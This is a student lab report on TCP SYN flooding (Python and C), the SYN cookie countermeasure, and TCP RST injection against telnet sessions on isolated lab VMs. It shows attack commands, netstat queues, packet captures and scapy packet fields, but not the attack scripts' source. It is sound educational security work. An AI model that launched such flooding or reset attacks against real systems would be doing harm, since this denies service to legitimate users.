COMPUTER NETWORK SECURITY LAB -04

Name: Pavan R Kashyap SRN: PES1UG20CS280

5th Semester E section

Task 1: SYN Flooding Attack

Task 1.1 TCP SYN attack with Python

The victim's queue of half open connections is set to 128. SYNCookies are set to zero. SYN cookie is a mitigation strategy used to resist SYN attacks and, in this case, we are setting it to 0 so that we can successfully launch a SYN attack.

```
PES1UG20CS280(10.0.2.4) -$sysctl net.ipv4.tcp_max_syn_backlog
net.ipv4.tcp_max_syn_backlog = 128
PES1UG20CS280(10.0.2.4) -$sudo sysctl -w net.ipv4.tcp_syncookies=0
net.ipv4.tcp_syncookies = 0
```

The set of ports ready to listen (the queue contents) are displayed to the user when the below command is executed at the victim machine.

For Task 1, Task 2, the corresponding IP address conventions are as follows-

USER 1 IP → 10.0.2.6

Attacker IP→ 10.0.2.5

Victim IP → 10.0.2.4

```
PES1UG20CS280(10.0.2.4) -$netstat -tna
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.1.1:53            0.0.0.0:*               LISTEN
tcp        0      0 10.0.2.4:53             0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:53            0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:23              0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:953           0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN
tcp6       0      0 :::80                   :::*                    LISTEN
tcp6       0      0 :::53                   :::*                    LISTEN
tcp6       0      0 :::21                   :::*                    LISTEN
tcp6       0      0 :::22                   :::*                    LISTEN
tcp6       0      0 ::1:631                 :::*                    LISTEN
tcp6       0      0 :::3128                 :::*                    LISTEN
tcp6       0      0 ::1:953                 :::*                    LISTEN
```

COMPUTER NETWORK SECURITY LAB -04

Name: Pavan R Kashyap SRN: PES1UG20CS280

5th Semester E section

After the python file is executed on the attacker's machine, User 1 tries to telnet to the Victim machine. We see that the telnet connection is successfully established.

When the queue information of the victim machine is checked again, we see that a connection has been established between User 1 and the Victim machine.

The reason why this attack is not successful is because Python is very slow. The IP port no. mapping can be seen in the Local Address and Foreign Address sections of ESTABLISHED connection. The attacker was not successful in flooding the client with several TCP SYN Packets.

```
PES1UG20CS280(10.0.2.4) -$netstat -tna
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.1.1:53            0.0.0.0:*               LISTEN
tcp        0      0 10.0.2.4:53             0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:53            0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:23              0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:953           0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN
tcp        0      0 10.0.2.4:23             10.0.2.6:43986          ESTABLISHED
tcp6       0      0 :::80                   :::*                    LISTEN
tcp6       0      0 :::53                   :::*                    LISTEN
tcp6       0      0 :::21                   :::*                    LISTEN
tcp6       0      0 :::22                   :::*                    LISTEN
tcp6       0      0 :::3128                 :::*                    LISTEN
tcp6       0      0 ::1:953                 :::*                    LISTEN
```

Because the attack fails, we execute the following commands

ip tcp_metrics show

```
PES1UG20CS280(10.0.2.5) -$ip tcp_metrics show
127.0.0.1 age 46.232sec cwnd 10 rtt 3515us rttvar 6593us source 127.0.0.1
PES1UG20CS280(10.0.2.5) -$sudo su
PES1UG20CS280_ROOT(10.0.2.5) -$python3 synflood.py
^Z
[1]+  Stopped                 python3 synflood.py
PES1UG20CS280_ROOT(10.0.2.5) -$ip tcp_metrics show
104.236.0.104 age 130.888sec cwnd 10 rtt 215987us rttvar 120854us source 10.0.2.
5
52.216.93.165 age 150.384sec source 10.0.2.5
185.125.190.52 age 145.660sec cwnd 10 rtt 235978us rttvar 209756us source 10.0.2
.5
127.0.0.1 age 216.404sec cwnd 10 rtt 3515us rttvar 6593us source 127.0.0.1
91.189.91.38 age 130.880sec cwnd 10 rtt 189007us rttvar 189007us source 10.0.2.5
PES1UG20CS280_ROOT(10.0.2.5) -$
```

ip tcp_metrics flush

```
PES1UG20CS280_ROOT(10.0.2.5) -$ip tcp_metrics flush
PES1UG20CS280_ROOT(10.0.2.5) -$
```

When the contents are flushed and the task is executed again, we see half open connections on the victim machine.

```
PES1UG20CS280(10.0.2.4) -$netstat -tna
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.1.1:53            0.0.0.0:*               LISTEN
tcp        0      0 10.0.2.4:53             0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:53            0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:23              0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:953           0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN
tcp        0      0 10.0.2.4:23             240.172.181.65:44073    SYN_RECV
tcp        0      0 10.0.2.4:23             242.129.199.7:15188     SYN_RECV
tcp        0      0 10.0.2.4:23             244.17.82.17:10760      SYN_RECV
```

COMPUTER NETWORK SECURITY LAB -04

Name: Pavan R Kashyap SRN: PES1UG20CS280

5th Semester E section

Task1.2 Launching the Attack Using C

When the same attack is carried out in C, we see that the telnet between User 1 and Victim machine is unsuccessful. The client keeps trying to connect to victim but a connection is simply not established b/w the two.

```
Terminal
PES1UG20CS280(10.0.2.6) -$telnet 10.0.2.4
Trying 10.0.2.4...
^Z
^C
PES1UG20CS280(10.0.2.6) -$
```

Once we reset the queue size to 128 and then check the contents of victim's queue after the attack is initiated on the attacker VM, we see that the victim has several half-open connections. All of these half-open connections are directed to port number 23 (Telnet happens in port number 23). C generates packets very quickly, which is why the attack is successful. The IP addresses of the SYN packets are randomly generated.

```
PES1UG20CS280(10.0.2.4) -$sudo sysctl -w net.ipv4.tcp_max_syn_backlog=128
net.ipv4.tcp_max_syn_backlog = 128
PES1UG20CS280(10.0.2.4) -$netstat -tna
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.1.1:53            0.0.0.0:*               LISTEN
tcp        0      0 10.0.2.4:53             0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:53            0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:23              0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:953           0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN
tcp        0      0 10.0.2.4:23             240.172.181.65:44073    SYN_RECV
tcp        0      0 10.0.2.4:23             242.129.199.7:15188     SYN_RECV
tcp        0      0 10.0.2.4:23             244.17.82.17:10760      SYN_RECV
tcp        0      0 10.0.2.4:23             245.105.13.15:53246     SYN_RECV
tcp        0      0 10.0.2.4:23             247.203.204.38:40918    SYN_RECV
tcp        0      0 10.0.2.4:23             240.128.157.22:63926    SYN_RECV
tcp        0      0 10.0.2.4:23             242.9.230.122:9020      SYN_RECV
tcp        0      0 10.0.2.4:23             249.165.109.104:43501   SYN_RECV
tcp        0      0 10.0.2.4:23             251.204.73.11:45643     SYN_RECV
tcp        0      0 10.0.2.4:23             246.36.252.75:24206     SYN_RECV
tcp        0      0 10.0.2.4:23             240.27.33.71:50719      SYN_RECV
tcp        0      0 10.0.2.4:23             252.83.0.13:21503       SYN_RECV
tcp        0      0 10.0.2.4:23             248.109.87.3:64531      SYN_RECV
tcp        0      0 10.0.2.4:23             248.1.107.66:62917      SYN_RECV
tcp        0      0 10.0.2.4:23             252.181.224.72:62479    SYN_RECV
tcp        0      0 10.0.2.4:23             251.234.169.34:25311    SYN_RECV
tcp        0      0 10.0.2.4:23             245.245.54.118:2963     SYN_RECV
tcp        0      0 10.0.2.4:23             241.162.94.81:32239     SYN_RECV
tcp        0      0 10.0.2.4:23             240.12.138.87:52884     SYN_RECV
tcp        0      0 10.0.2.4:23             240.105.11.27:59384     SYN_RECV
tcp        0      0 10.0.2.4:23             240.144.65.120:52677    SYN_RECV
```

Name: Pavan R Kashyap SRN: PES1UG20CS280
5th Semester E section

Several illegitimate SYN requests i.e requests to open a connection are reaching host 10.0.2.4 (Victim) that the legitimate request from 10.0.2.5 (User 1) is not being serviced.

Task 1.3: Enable the SYN Cookie Countermeasure

In this task we enable the SYN cookie countermeasure to mitigate the possibility of a SYN attack. A new TCB is opened only when the client responds to the crafted SYN-ACK packet sent by the server.

When Python is used, SYN cookie measure allows the user to connect to the victim machine and establish a connection b/w the two.

```
PES1UG20CS280(10.0.2.4) -$sudo sysctl -w net.ipv4.tcp_syncookies=1
net.ipv4.tcp_syncookies = 1
PES1UG20CS280(10.0.2.4) -$sudo sysctl -w net.ipv4.tcp_max_syn_backlog=128
net.ipv4.tcp_max_syn_backlog = 128
PES1UG20CS280(10.0.2.4) -$clear

PES1UG20CS280(10.0.2.4) -$netstat -tna
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.1.1:53            0.0.0.0:*               LISTEN
tcp        0      0 10.0.2.4:53             0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:53            0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:23              0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:953           0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN
tcp        0      0 10.0.2.4:23             10.0.2.6:43990          ESTABLISHED
tcp6       0      0 :::80                   :::*                    LISTEN
tcp6       0      0 :::53                   :::*                    LISTEN
tcp6       0      0 :::21                   :::*                    LISTEN
tcp6       0      0 :::22                   :::*                    LISTEN
tcp6       0      0 :::3128                 :::*                    LISTEN
tcp6       0      0 ::1:953                 :::*                    LISTEN
```

When the same task is repeated in C , there are several half open connections that are seen in the queue as can be seen below-

```
PES1UG20CS280(10.0.2.4) -$sudo sysctl -w net.ipv4.tcp_max_syn_backlog=128
net.ipv4.tcp_max_syn_backlog = 128
PES1UG20CS280(10.0.2.4) -$netstat -tna
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.1.1:53            0.0.0.0:*               LISTEN
tcp        0      0 10.0.2.4:53             0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:53            0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:23              0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:953           0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN
tcp        0      0 10.0.2.4:23             241.76.55.10:49042      SYN_RECV
tcp        0      0 10.0.2.4:23             248.134.27.8:55139      SYN_RECV
tcp        0      0 10.0.2.4:23             243.6.113.127:32724     SYN_RECV
tcp        0      0 10.0.2.4:23             244.64.95.36:25423      SYN_RECV
tcp        0      0 10.0.2.4:23             241.220.168.63:57967    SYN_RECV
tcp        0      0 10.0.2.4:23             252.247.100.100:38611   SYN_RECV
tcp        0      0 10.0.2.4:23             249.63.92.56:39890      SYN_RECV
tcp        0      0 10.0.2.4:23             248.126.164.75:10445    SYN_RECV
tcp        0      0 10.0.2.4:23             245.158.38.124:5315     SYN_RECV
tcp        0      0 10.0.2.4:23             244.243.209.92:1795     SYN_RECV
tcp        0      0 10.0.2.4:23             246.12.74.115:60336     SYN_RECV
tcp        0      0 10.0.2.4:23             246.25.159.70:29459     SYN_RECV
```

However, a connection is established b/w User1 and Victim as can be seen below. This is because the Victim does not put the half open connection into its queue until it has received a response to its SYN-ACK (SYNCookie) packet. This ensures that legitimate requests are considered and connected once the three-way handshake is complete.

```
tcp        0      0 10.0.2.4:23             253.143.115.23:50501    SYN_RECV
tcp        0      0 10.0.2.4:23             244.131.121.39:46064    SYN_RECV
tcp        0      0 10.0.2.4:23             246.250.157.114:2605    SYN_RECV
tcp        0      0 10.0.2.4:23             249.203.75.91:43219     SYN_RECV
tcp        0      0 10.0.2.4:23             10.0.2.6:43992          ESTABLISHED
tcp        0      0 10.0.2.4:23             246.123.153.57:13793    SYN_RECV
tcp        0      0 10.0.2.4:23             248.118.33.101:63241    SYN_RECV
tcp        0      0 10.0.2.4:23             246.242.24.107:48198    SYN_RECV
tcp        0      0 10.0.2.4:23             245.115.12.120:8834     SYN_RECV
tcp        0      0 10.0.2.4:23             248.106.57.117:60980    SYN_RECV
tcp        0      0 10.0.2.4:23             240.235.30.56:42643     SYN_RECV
tcp        0      0 10.0.2.4:23             255.197.139.21:21041    SYN_RECV
tcp        0      0 10.0.2.4:23             255.226.232.52:36683    SYN_RECV
tcp        0      0 10.0.2.4:23             241.87.101.14:1223      SYN_RECV
tcp        0      0 10.0.2.4:23             247.211.111.61:25357    SYN_RECV
tcp        0      0 10.0.2.4:23             243.128.75.58:15272     SYN_RECV
tcp        0      0 10.0.2.4:23             253.161.122.83:34199    SYN_RECV
tcp        0      0 10.0.2.4:23             245.240.61.115:10283    SYN_RECV
tcp        0      0 10.0.2.4:23             255.102.184.3:52333     SYN_RECV
```

COMPUTER NETWORK SECURITY LAB -04

Name: Pavan R Kashyap SRN: PES1UG20CS280

5th Semester E section

Task 2 - TCP RST Attacks on Telnet Connections

When User 1 telnets into Victim machine, several Telnet TCP packets are exchanged b/w the two. The screenshot shown below shows those packets.

6	2022-09-21 02:36:01.6842165…	10.0.2.6	10.0.2.4	TELNET	69	Telnet Data ...
7	2022-09-21 02:36:01.6842766…	10.0.2.4	10.0.2.6	TCP	68	23 → 33596 [ACK] Seq=626491878 Ack=3026040702 Win=227 Len=0 TSval=1034886
8	2022-09-21 02:36:01.9262700…	10.0.2.6	10.0.2.4	TELNET	69	Telnet Data ...
9	2022-09-21 02:36:01.9263199…	10.0.2.4	10.0.2.6	TCP	68	23 → 33596 [ACK] Seq=626491878 Ack=3026040703 Win=227 Len=0 TSval=1034946
10	2022-09-21 02:36:02.0629430…	10.0.2.6	10.0.2.4	TELNET	69	Telnet Data ...
11	2022-09-21 02:36:02.0630267…	10.0.2.4	10.0.2.6	TCP	68	23 → 33596 [ACK] Seq=626491878 Ack=3026040704 Win=227 Len=0 TSval=1034980
12	2022-09-21 02:36:02.2825831…	10.0.2.6	10.0.2.4	TELNET	69	Telnet Data ...
13	2022-09-21 02:36:02.2826318…	10.0.2.4	10.0.2.6	TCP	68	23 → 33596 [ACK] Seq=626491878 Ack=3026040705 Win=227 Len=0 TSval=1035035
14	2022-09-21 02:36:02.4772453…	10.0.2.6	10.0.2.4	TELNET	70	Telnet Data ...
15	2022-09-21 02:36:02.4772979…	10.0.2.4	10.0.2.6	TCP	68	23 → 33596 [ACK] Seq=626491878 Ack=3026040707 Win=227 Len=0 TSval=1035084
16	2022-09-21 02:36:02.4777772…	10.0.2.4	10.0.2.6	TELNET	70	Telnet Data ...
17	2022-09-21 02:36:02.4781077…	10.0.2.6	10.0.2.4	TCP	68	33596 → 23 [ACK] Seq=3026040707 Ack=626491880 Win=229 Len=0 TSval=1018373
18	2022-09-21 02:36:06.1049213…	10.0.2.4	10.0.2.6	TELNET	87	Telnet Data ...
19	2022-09-21 02:36:06.1055220…	10.0.2.6	10.0.2.4	TCP	68	33596 → 23 [ACK] Seq=3026040707 Ack=626491899 Win=229 Len=0 TSval=1019280
20	2022-09-21 02:36:06.1093597…	10.0.2.4	10.0.2.6	TELNET	78	Telnet Data ...
21	2022-09-21 02:36:06.1099003…	10.0.2.6	10.0.2.4	TCP	68	33596 → 23 [ACK] Seq=3026040707 Ack=626491909 Win=229 Len=0 TSval=1019281
22	2022-09-21 02:36:06.3858164…	10.0.2.6	10.0.2.4	TELNET	69	Telnet Data ...
23	2022-09-21 02:36:06.3867666…	10.0.2.4	10.0.2.6	TELNET	69	Telnet Data ...
24	2022-09-21 02:36:06.3902225…	10.0.2.6	10.0.2.4	TCP	68	33596 → 23 [ACK] Seq=3026040708 Ack=626491910 Win=229 Len=0 TSval=1019351
25	2022-09-21 02:36:07.6991661…	10.0.2.6	10.0.2.4	TELNET	69	Telnet Data ...
26	2022-09-21 02:36:07.6997635…	10.0.2.4	10.0.2.6	TELNET	69	Telnet Data ...
27	2022-09-21 02:36:07.7004056…	10.0.2.6	10.0.2.4	TCP	68	33596 → 23 [ACK] Seq=3026040709 Ack=626491911 Win=229 Len=0 TSval=1019679
28	2022-09-21 02:36:07.9399855…	10.0.2.6	10.0.2.4	TELNET	69	Telnet Data ...
29	2022-09-21 02:36:07.9406334…	10.0.2.4	10.0.2.6	TELNET	69	Telnet Data ...
30	2022-09-21 02:36:07.9411443…	10.0.2.6	10.0.2.4	TCP	68	33596 → 23 [ACK] Seq=3026040710 Ack=626491912 Win=229 Len=0 TSval=1019739
31	2022-09-21 02:36:08.3134906…	10.0.2.6	10.0.2.4	TELNET	69	Telnet Data ...
32	2022-09-21 02:36:08.3138496…	10.0.2.4	10.0.2.6	TELNET	69	Telnet Data ...
33	2022-09-21 02:36:08.3143276…	10.0.2.6	10.0.2.4	TCP	68	33596 → 23 [ACK] Seq=3026040711 Ack=626491913 Win=229 Len=0 TSval=1019832
34	2022-09-21 02:36:09.6263310…	10.0.2.6	10.0.2.4	TELNET	69	Telnet Data ...
35	2022-09-21 02:36:09.6269796…	10.0.2.4	10.0.2.6	TELNET	71	Telnet Data ...
36	2022-09-21 02:36:09.6274910…	10.0.2.6	10.0.2.4	TCP	68	33596 → 23 [ACK] Seq=3026040712 Ack=626491916 Win=229 Len=0 TSval=1020160
37	2022-09-21 02:36:09.8614374…	10.0.2.6	10.0.2.4	TELNET	69	Telnet Data ...
38	2022-09-21 02:36:09.8620296…	10.0.2.4	10.0.2.6	TELNET	71	Telnet Data ...
39	2022-09-21 02:36:09.8625155…	10.0.2.6	10.0.2.4	TCP	68	33596 → 23 [ACK] Seq=3026040713 Ack=626491919 Win=229 Len=0 TSval=1020219
40	2022-09-21 02:36:10.0754074…	10.0.2.6	10.0.2.4	TELNET	69	Telnet Data ...
41	2022-09-21 02:36:10.0760892…	10.0.2.4	10.0.2.6	TELNET	71	Telnet Data ...

The last TELNET packet sent to the Victim machine can be used to obtain the next sequence number or the sequence number of the last TCP packet sent from the Victim machine can used to identify the next sequence number.

87	2022-09-21 02:36:18.2798973…	10.0.2.4	10.0.2.6	TELNET	70	Telnet Data ...
88	2022-09-21 02:36:18.2801489…	10.0.2.6	10.0.2.4	TCP	68	33596 → 23 [ACK] Seq=3026040731 Ack=626492315 W
89	2022-09-21 02:36:18.2884679…	10.0.2.4	10.0.2.6	TELNET	452	Telnet Data ...
90	2022-09-21 02:36:18.2889719…	10.0.2.6	10.0.2.4	TCP	68	33596 → 23 [ACK] Seq=3026040731 Ack=626492699 W
91	2022-09-21 02:36:18.2893947…	10.0.2.4	10.0.2.6	TELNET	94	Telnet Data ...
92	2022-09-21 02:36:18.2897274…	10.0.2.6	10.0.2.4	TCP	68	33596 → 23 [ACK] Seq=3026040731 Ack=626492725 W
93	2022-09-21 02:36:36.9944082…	::1	::1	UDP	64	60610 → 39906 Len=0
94	2022-09-21 02:36:47.0148647…	::1	::1	UDP	64	60610 → 39906 Len=0
95	2022-09-21 02:37:07.0442299…	::1	::1	UDP	64	60610 → 39906 Len=0
96	2022-09-21 02:37:27.0696062…	::1	::1	UDP	64	60610 → 39906 Len=0
97	2022-09-21 02:37:47.1016756…	::1	::1	UDP	64	60610 → 39906 Len=0
98	2022-09-21 02:38:07.1407853…	::1	::1	UDP	64	60610 → 39906 Len=0
99	2022-09-21 02:38:27.1551714…	::1	::1	UDP	64	60610 → 39906 Len=0
100	2022-09-21 02:38:47.1623891…	::1	::1	UDP	64	60610 → 39906 Len=0
101	2022-09-21 02:39:07.1850378…	::1	::1	UDP	64	60610 → 39906 Len=0
102	2022-09-21 02:39:27.1985773…	::1	::1	UDP	64	60610 → 39906 Len=0
103	2022-09-21 02:39:37.7853290…	PcsCompu_94:43:70		ARP	62	Who has 10.0.2.4? Tell 10.0.2.5
104	2022-09-21 02:39:37.7853690…	PcsCompu_c6:fa:69		ARP	44	10.0.2.4 is at 08:00:27:c6:fa:69
105	2022-09-21 02:39:37.8080250…	10.0.2.6	10.0.2.4	TCP	62	33596 → 23 [RST] Seq=3026040731 Win=8192 Len=0
106	2022-09-21 02:39:47.2562140…	::1	::1	UDP	64	60610 → 39906 Len=0
107	2022-09-21 02:39:49.2765155…	10.0.2.4	10.0.2.3	DHCP	344	DHCP Request - Transaction ID 0xfe11595e
108	2022-09-21 02:39:49.2939157…	10.0.2.3	10.0.2.4	DHCP	592	DHCP ACK - Transaction ID 0xfe11595e
109	2022-09-21 02:39:53.1946332…	10.0.2.6	10.0.2.4	TELNET	69	Telnet Data ...
110	2022-09-21 02:39:53.1946909…	10.0.2.4	10.0.2.6	TCP	56	23 → 33596 [RST] Seq=626492725 Win=0 Len=0
111	2022-09-21 02:39:54.3639754…	PcsCompu_c6:fa:69		ARP	44	Who has 10.0.2.3? Tell 10.0.2.4
112	2022-09-21 02:39:54.3745021…	PcsCompu_f8:fb:f6		ARP	62	10.0.2.3 is at 08:00:27:f8:fb:f6
113	2022-09-21 02:39:58.2051892…	PcsCompu_c6:fa:69		ARP	44	Who has 10.0.2.6? Tell 10.0.2.4
114	2022-09-21 02:39:58.2057309…	PcsCompu_95:74:81		ARP	62	10.0.2.6 is at 08:00:27:95:74:81
115	2022-09-21 02:39:58.2562382…	PcsCompu_95:74:81		ARP	62	Who has 10.0.2.4? Tell 10.0.2.6
116	2022-09-21 02:39:58.2562785…	PcsCompu_c6:fa:69		ARP	44	10.0.2.4 is at 08:00:27:c6:fa:69
117	2022-09-21 02:40:07.3070438…	::1	::1	UDP	64	60610 → 39906 Len=0
118	2022-09-21 02:40:27.3244519…	::1	::1	UDP	64	60610 → 39906 Len=0

When the attacker initiates the injection of an RST packet into the network, we see the packet sent to the Victim machine's port number. When the user (User 1) tries to enter a character on telnet, another RST packet is sent that terminates the connection on both ends, thereby forcefully terminating a legitimate connection between User 1 and Victim.

COMPUTER NETWORK SECURITY LAB -04

Name: Pavan R Kashyap SRN: PES1UG20CS280

5th Semester E section

The corresponding output for when reset.py is executed is shown below. Entire information of the RESET packet is displayed.

```
PES1UG20CS280_ROOT(10.0.2.5) -$python3 reset.py
SENDING RESET PACKET.........
version    : BitField  (4 bits)                = 4               ('4')
ihl        : BitField  (4 bits)                = None            ('None')
tos        : XByteField                        = 0               ('0')
len        : ShortField                        = None            ('None')
id         : ShortField                        = 1               ('1')
flags      : FlagsField                        = <Flag 0 ()>     ('<Flag 0 ()>')
frag       : BitField  (13 bits)               = 0               ('0')
ttl        : ByteField                         = 64              ('64')
proto      : ByteEnumField                     = 6               ('0')
chksum     : XShortField                       = None            ('None')
src        : SourceIPField                     = '10.0.2.6'      ('None')
dst        : DestIPField                       = '10.0.2.4'      ('None')
options    : PacketListField                   = []              ('[]')
--
sport      : ShortEnumField                    = 33596           ('20')
dport      : ShortEnumField                    = 23              ('80')
seq        : IntField                          = 3026040731      ('0')
ack        : IntField                          = 0               ('0')
dataofs    : BitField  (4 bits)                = None            ('None')
reserved   : BitField  (3 bits)                = 0               ('0')
flags      : FlagsField                        = <Flag 4 (R)>    ('<Flag 2 (S)>')
window     : ShortField                        = 8192            ('8192')
chksum     : XShortField                       = None            ('None')
urgptr     : ShortField                        = 0               ('0')
options    : TCPOptionsField                   = []              ("b''")
PES1UG20CS280_ROOT(10.0.2.5) -$
```

The output below shows the result of the attack execution. The telnet connection is terminated as can be seen below.

```
PES1UG20CS280(10.0.2.6) -$telnet 10.0.2.4
Trying 10.0.2.4...
Connected to 10.0.2.4.
Escape character is '^]'.
Ubuntu 16.04.2 LTS
VM login: seed
Password:

Login incorrect
VM login: seed
Password:
Last login: Wed Sep 21 02:09:39 EDT 2022 from 10.0.2.6 on pts/17
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.8.0-36-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

1 package can be updated.
0 updates are security updates.

PES1UG20CS280(10.0.2.4) -$ls
android         Desktop    examples.desktop  host   Pictures  Templates
bin             Documents  get-pip.py        lib    Public    Videos
Customization   Downloads  hoat              Music  source
PES1UG20CS280(10.0.2.4) -$Connection closed by foreign host.
PES1UG20CS280(10.0.2.6) -$s
```

COMPUTER NETWORK SECURITY LAB -04

Name: Pavan R Kashyap SRN: PES1UG20CS280

5th Semester E section

When reset_auto.py is executed, the user does not need to manually check the sequence number to attach an RST packet. The acknowledgement of the last TCP packet is used as the next sequence number of the first RST packet being sent. This initiates an uncivilized termination.

The connection is terminated when the attacker initiates an attack.

```
PES1UG20CS280(10.0.2.6) -$telnet 10.0.2.4
Trying 10.0.2.4...
Connected to 10.0.2.4.
Escape character is '^]'.
Ubuntu 16.04.2 LTS
VM login: seed
Password:
Last login: Wed Sep 21 01:43:26 EDT 2022 from 10.0.2.6 on pts/19
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.8.0-36-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

1 package can be updated.
0 updates are security updates.

PES1UG20CS280(10.0.2.4) -$ls
android         Desktop    examples.desktop  host    Pictures  Templates
bin             Documents  get-pip.py        lib     Public    Videos
Customization   Downloads  hoat              Music   source
PES1UG20CS280(10.0.2.4) -$lConnection closed by foreign host.
PES1UG20CS280(10.0.2.6) -$
```

The output in Attacker's machine is as shown below.

```
PES1UG20CS280_ROOT(10.0.2.5) -$python3 reset_auto.py
version    : BitField  (4 bits)                = 4              ('4')
ihl        : BitField  (4 bits)                = None           ('None')
tos        : XByteField                        = 0              ('0')
len        : ShortField                        = None           ('None')
id         : ShortField                        = 1              ('1')
flags      : FlagsField                        = <Flag 0 ()>    ('<Flag 0 ()>')
frag       : BitField  (13 bits)               = 0              ('0')
ttl        : ByteField                         = 64             ('64')
proto      : ByteEnumField                     = 6              ('0')
chksum     : XShortField                       = None           ('None')
src        : SourceIPField                     = '10.0.2.4'     ('None')
dst        : DestIPField                       = '10.0.2.6'     ('None')
options    : PacketListField                   = []             ('[]')
--
sport      : ShortEnumField                    = 23             ('20')
dport      : ShortEnumField                    = 33590          ('80')
seq        : IntField                          = 3481222999     ('0')
ack        : IntField                          = 0              ('0')
dataofs    : BitField  (4 bits)                = None           ('None')
reserved   : BitField  (3 bits)                = 0              ('0')
flags      : FlagsField                        = <Flag 4 (R)>   ('<Flag 2 (S)>')
window     : ShortField                        = 8192           ('8192')
chksum     : XShortField                       = None           ('None')
urgptr     : ShortField                        = 0              ('0')
options    : TCPOptionsField                   = []             ("b''")
version    : BitField  (4 bits)                = 4              ('4')
ihl        : BitField  (4 bits)                = None           ('None')
tos        : XByteField                        = 0              ('0')
len        : ShortField                        = None           ('None')
id         : ShortField                        = 1              ('1')
```

COMPUTER NETWORK SECURITY LAB -04

Name: Pavan R Kashyap SRN: PES1UG20CS280

5th Semester E section

Screenshot of the TCP TELNET packets being exchanged in the network are shown below. This is the output when User1 telnets into Victim machine. The attack is initiated after this.

No.	Time	Source	Destination	Protocol	Length	Info
1	2022-09-21 01:57:24.1579563…	::1	::1	UDP	64	60610 → 39906 Len=0
2	2022-09-21 01:57:24.8263364…	10.0.2.6	224.0.0.251	MDNS	89	Standard query 0x0000 PTR _ipps._tcp.local, "QM" question PTR _ipp._tcp.local, "QM" question
3	2022-09-21 01:57:26.3490075…	fe80::d7ad:bd8c:fb4…	ff02::fb	MDNS	109	Standard query 0x0000 PTR _ipps._tcp.local, "QM" question PTR _ipp._tcp.local, "QM" question
4	2022-09-21 01:57:34.3623035…	10.0.2.6	10.0.2.4	TELNET	70	Telnet Data ...
5	2022-09-21 01:57:34.3627725…	10.0.2.4	10.0.2.6	TELNET	70	Telnet Data ...
6	2022-09-21 01:57:34.3630847…	10.0.2.6	10.0.2.4	TCP	68	33590 → 23 [ACK] Seq=535729128 Ack=3481222205 Win=229 Len=0 TSval=441296 TSecr=458055
7	2022-09-21 01:57:34.3636887…	10.0.2.4	10.0.2.6	TELNET	78	Telnet Data ...
8	2022-09-21 01:57:34.3639479…	10.0.2.6	10.0.2.4	TCP	68	33590 → 23 [ACK] Seq=535729128 Ack=3481222215 Win=229 Len=0 TSval=441296 TSecr=458055
9	2022-09-21 01:57:39.4524798…	PcsCompu_c6:fa:69		ARP	44	Who has 10.0.2.6? Tell 10.0.2.4
10	2022-09-21 01:57:39.4531338…	PcsCompu_95:74:81		ARP	62	Who has 10.0.2.4? Tell 10.0.2.6
11	2022-09-21 01:57:39.4531514…	PcsCompu_c6:fa:69		ARP	44	10.0.2.4 is at 08:00:27:c6:fa:69
12	2022-09-21 01:57:39.4532923…	PcsCompu_95:74:81		ARP	62	10.0.2.6 is at 08:00:27:95:74:81
13	2022-09-21 01:57:44.1811241…	::1	::1	UDP	64	60610 → 39906 Len=0
14	2022-09-21 01:57:45.3765252…	10.0.2.6	10.0.2.4	TELNET	69	Telnet Data ...
15	2022-09-21 01:57:45.4201716…	10.0.2.4	10.0.2.6	TCP	68	23 → 33590 [ACK] Seq=3481222215 Ack=535729129 Win=227 Len=0 TSval=460820 TSecr=444049
16	2022-09-21 01:57:45.6184886…	10.0.2.6	10.0.2.4	TELNET	69	Telnet Data ...
